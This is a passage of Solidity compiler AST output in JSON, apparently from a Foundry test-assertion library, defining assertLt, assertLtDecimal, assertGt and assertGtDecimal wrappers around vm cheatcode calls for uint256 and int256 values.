},{"id":1608,"nodeType":"FunctionDefinition","src":"12342:176:1","nodes":[],"body":{"id":1607,"nodeType":"Block","src":"12455:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1601,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1589,"src":"12484:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1602,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1591,"src":"12490:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1603,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1593,"src":"12497:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1604,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1595,"src":"12507:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1598,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12465:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12468:15:1","memberName":"assertLtDecimal","nodeType":"MemberAccess","referencedDeclaration":14257,"src":"12465:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":1605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12465:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1606,"nodeType":"ExpressionStatement","src":"12465:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"12351:15:1","parameters":{"id":1596,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1589,"mutability":"mutable","name":"left","nameLocation":"12375:4:1","nodeType":"VariableDeclaration","scope":1608,"src":"12367:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1588,"name":"uint256","nodeType":"ElementaryTypeName","src":"12367:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1591,"mutability":"mutable","name":"right","nameLocation":"12389:5:1","nodeType":"VariableDeclaration","scope":1608,"src":"12381:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1590,"name":"uint256","nodeType":"ElementaryTypeName","src":"12381:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1593,"mutability":"mutable","name":"decimals","nameLocation":"12404:8:1","nodeType":"VariableDeclaration","scope":1608,"src":"12396:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1592,"name":"uint256","nodeType":"ElementaryTypeName","src":"12396:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1595,"mutability":"mutable","name":"err","nameLocation":"12428:3:1","nodeType":"VariableDeclaration","scope":1608,"src":"12414:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1594,"name":"string","nodeType":"ElementaryTypeName","src":"12414:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12366:66:1"},"returnParameters":{"id":1597,"nodeType":"ParameterList","parameters":[],"src":"12455:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1623,"nodeType":"FunctionDefinition","src":"12524:108:1","nodes":[],"body":{"id":1622,"nodeType":"Block","src":"12591:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1618,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1610,"src":"12613:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1619,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1612,"src":"12619:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":1615,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12601:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1617,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12604:8:1","memberName":"assertLt","nodeType":"MemberAccess","referencedDeclaration":14305,"src":"12601:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$returns$__$","typeString":"function (int256,int256) pure external"}},"id":1620,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12601:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1621,"nodeType":"ExpressionStatement","src":"12601:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"12533:8:1","parameters":{"id":1613,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1610,"mutability":"mutable","name":"left","nameLocation":"12549:4:1","nodeType":"VariableDeclaration","scope":1623,"src":"12542:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1609,"name":"int256","nodeType":"ElementaryTypeName","src":"12542:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1612,"mutability":"mutable","name":"right","nameLocation":"12562:5:1","nodeType":"VariableDeclaration","scope":1623,"src":"12555:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1611,"name":"int256","nodeType":"ElementaryTypeName","src":"12555:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"12541:27:1"},"returnParameters":{"id":1614,"nodeType":"ParameterList","parameters":[],"src":"12591:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1641,"nodeType":"FunctionDefinition","src":"12638:132:1","nodes":[],"body":{"id":1640,"nodeType":"Block","src":"12724:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1635,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1625,"src":"12746:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1636,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1627,"src":"12752:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1637,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1629,"src":"12759:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1632,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12734:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1634,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12737:8:1","memberName":"assertLt","nodeType":"MemberAccess","referencedDeclaration":14315,"src":"12734:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,string memory) pure external"}},"id":1638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12734:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1639,"nodeType":"ExpressionStatement","src":"12734:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"12647:8:1","parameters":{"id":1630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1625,"mutability":"mutable","name":"left","nameLocation":"12663:4:1","nodeType":"VariableDeclaration","scope":1641,"src":"12656:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1624,"name":"int256","nodeType":"ElementaryTypeName","src":"12656:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1627,"mutability":"mutable","name":"right","nameLocation":"12676:5:1","nodeType":"VariableDeclaration","scope":1641,"src":"12669:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1626,"name":"int256","nodeType":"ElementaryTypeName","src":"12669:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1629,"mutability":"mutable","name":"err","nameLocation":"12697:3:1","nodeType":"VariableDeclaration","scope":1641,"src":"12683:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1628,"name":"string","nodeType":"ElementaryTypeName","src":"12683:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12655:46:1"},"returnParameters":{"id":1631,"nodeType":"ParameterList","parameters":[],"src":"12724:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1659,"nodeType":"FunctionDefinition","src":"12776:150:1","nodes":[],"body":{"id":1658,"nodeType":"Block","src":"12868:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1653,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1643,"src":"12897:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1654,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1645,"src":"12903:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1655,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1647,"src":"12910:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1650,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"12878:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12881:15:1","memberName":"assertLtDecimal","nodeType":"MemberAccess","referencedDeclaration":14267,"src":"12878:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":1656,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12878:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1657,"nodeType":"ExpressionStatement","src":"12878:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"12785:15:1","parameters":{"id":1648,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1643,"mutability":"mutable","name":"left","nameLocation":"12808:4:1","nodeType":"VariableDeclaration","scope":1659,"src":"12801:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1642,"name":"int256","nodeType":"ElementaryTypeName","src":"12801:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1645,"mutability":"mutable","name":"right","nameLocation":"12821:5:1","nodeType":"VariableDeclaration","scope":1659,"src":"12814:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1644,"name":"int256","nodeType":"ElementaryTypeName","src":"12814:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1647,"mutability":"mutable","name":"decimals","nameLocation":"12836:8:1","nodeType":"VariableDeclaration","scope":1659,"src":"12828:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1646,"name":"uint256","nodeType":"ElementaryTypeName","src":"12828:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12800:45:1"},"returnParameters":{"id":1649,"nodeType":"ParameterList","parameters":[],"src":"12868:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1680,"nodeType":"FunctionDefinition","src":"12932:174:1","nodes":[],"body":{"id":1679,"nodeType":"Block","src":"13043:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1673,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1661,"src":"13072:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1674,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1663,"src":"13078:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1675,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1665,"src":"13085:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1676,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1667,"src":"13095:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1670,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13053:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13056:15:1","memberName":"assertLtDecimal","nodeType":"MemberAccess","referencedDeclaration":14279,"src":"13053:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":1677,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13053:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1678,"nodeType":"ExpressionStatement","src":"13053:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"12941:15:1","parameters":{"id":1668,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1661,"mutability":"mutable","name":"left","nameLocation":"12964:4:1","nodeType":"VariableDeclaration","scope":1680,"src":"12957:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1660,"name":"int256","nodeType":"ElementaryTypeName","src":"12957:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1663,"mutability":"mutable","name":"right","nameLocation":"12977:5:1","nodeType":"VariableDeclaration","scope":1680,"src":"12970:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1662,"name":"int256","nodeType":"ElementaryTypeName","src":"12970:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1665,"mutability":"mutable","name":"decimals","nameLocation":"12992:8:1","nodeType":"VariableDeclaration","scope":1680,"src":"12984:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1664,"name":"uint256","nodeType":"ElementaryTypeName","src":"12984:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1667,"mutability":"mutable","name":"err","nameLocation":"13016:3:1","nodeType":"VariableDeclaration","scope":1680,"src":"13002:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1666,"name":"string","nodeType":"ElementaryTypeName","src":"13002:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"12956:64:1"},"returnParameters":{"id":1669,"nodeType":"ParameterList","parameters":[],"src":"13043:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1695,"nodeType":"FunctionDefinition","src":"13112:110:1","nodes":[],"body":{"id":1694,"nodeType":"Block","src":"13181:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1690,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1682,"src":"13203:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1691,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1684,"src":"13209:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1687,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13191:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1689,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13194:8:1","memberName":"assertGt","nodeType":"MemberAccess","referencedDeclaration":14127,"src":"13191:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure external"}},"id":1692,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13191:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1693,"nodeType":"ExpressionStatement","src":"13191:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"13121:8:1","parameters":{"id":1685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1682,"mutability":"mutable","name":"left","nameLocation":"13138:4:1","nodeType":"VariableDeclaration","scope":1695,"src":"13130:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1681,"name":"uint256","nodeType":"ElementaryTypeName","src":"13130:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1684,"mutability":"mutable","name":"right","nameLocation":"13152:5:1","nodeType":"VariableDeclaration","scope":1695,"src":"13144:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1683,"name":"uint256","nodeType":"ElementaryTypeName","src":"13144:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13129:29:1"},"returnParameters":{"id":1686,"nodeType":"ParameterList","parameters":[],"src":"13181:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1713,"nodeType":"FunctionDefinition","src":"13228:134:1","nodes":[],"body":{"id":1712,"nodeType":"Block","src":"13316:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1707,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1697,"src":"13338:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1708,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1699,"src":"13344:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1709,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1701,"src":"13351:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1704,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13326:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1706,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13329:8:1","memberName":"assertGt","nodeType":"MemberAccess","referencedDeclaration":14137,"src":"13326:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,string memory) pure external"}},"id":1710,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13326:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1711,"nodeType":"ExpressionStatement","src":"13326:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"13237:8:1","parameters":{"id":1702,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1697,"mutability":"mutable","name":"left","nameLocation":"13254:4:1","nodeType":"VariableDeclaration","scope":1713,"src":"13246:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1696,"name":"uint256","nodeType":"ElementaryTypeName","src":"13246:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1699,"mutability":"mutable","name":"right","nameLocation":"13268:5:1","nodeType":"VariableDeclaration","scope":1713,"src":"13260:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1698,"name":"uint256","nodeType":"ElementaryTypeName","src":"13260:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1701,"mutability":"mutable","name":"err","nameLocation":"13289:3:1","nodeType":"VariableDeclaration","scope":1713,"src":"13275:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1700,"name":"string","nodeType":"ElementaryTypeName","src":"13275:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13245:48:1"},"returnParameters":{"id":1703,"nodeType":"ParameterList","parameters":[],"src":"13316:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1731,"nodeType":"FunctionDefinition","src":"13368:152:1","nodes":[],"body":{"id":1730,"nodeType":"Block","src":"13462:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1725,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1715,"src":"13491:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1726,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1717,"src":"13497:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1727,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1719,"src":"13504:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1722,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13472:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13475:15:1","memberName":"assertGtDecimal","nodeType":"MemberAccess","referencedDeclaration":14085,"src":"13472:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":1728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13472:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1729,"nodeType":"ExpressionStatement","src":"13472:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"13377:15:1","parameters":{"id":1720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1715,"mutability":"mutable","name":"left","nameLocation":"13401:4:1","nodeType":"VariableDeclaration","scope":1731,"src":"13393:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1714,"name":"uint256","nodeType":"ElementaryTypeName","src":"13393:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1717,"mutability":"mutable","name":"right","nameLocation":"13415:5:1","nodeType":"VariableDeclaration","scope":1731,"src":"13407:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1716,"name":"uint256","nodeType":"ElementaryTypeName","src":"13407:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1719,"mutability":"mutable","name":"decimals","nameLocation":"13430:8:1","nodeType":"VariableDeclaration","scope":1731,"src":"13422:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1718,"name":"uint256","nodeType":"ElementaryTypeName","src":"13422:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13392:47:1"},"returnParameters":{"id":1721,"nodeType":"ParameterList","parameters":[],"src":"13462:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1752,"nodeType":"FunctionDefinition","src":"13526:176:1","nodes":[],"body":{"id":1751,"nodeType":"Block","src":"13639:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1745,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1733,"src":"13668:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1746,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1735,"src":"13674:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1747,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1737,"src":"13681:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1748,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1739,"src":"13691:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1742,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13649:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 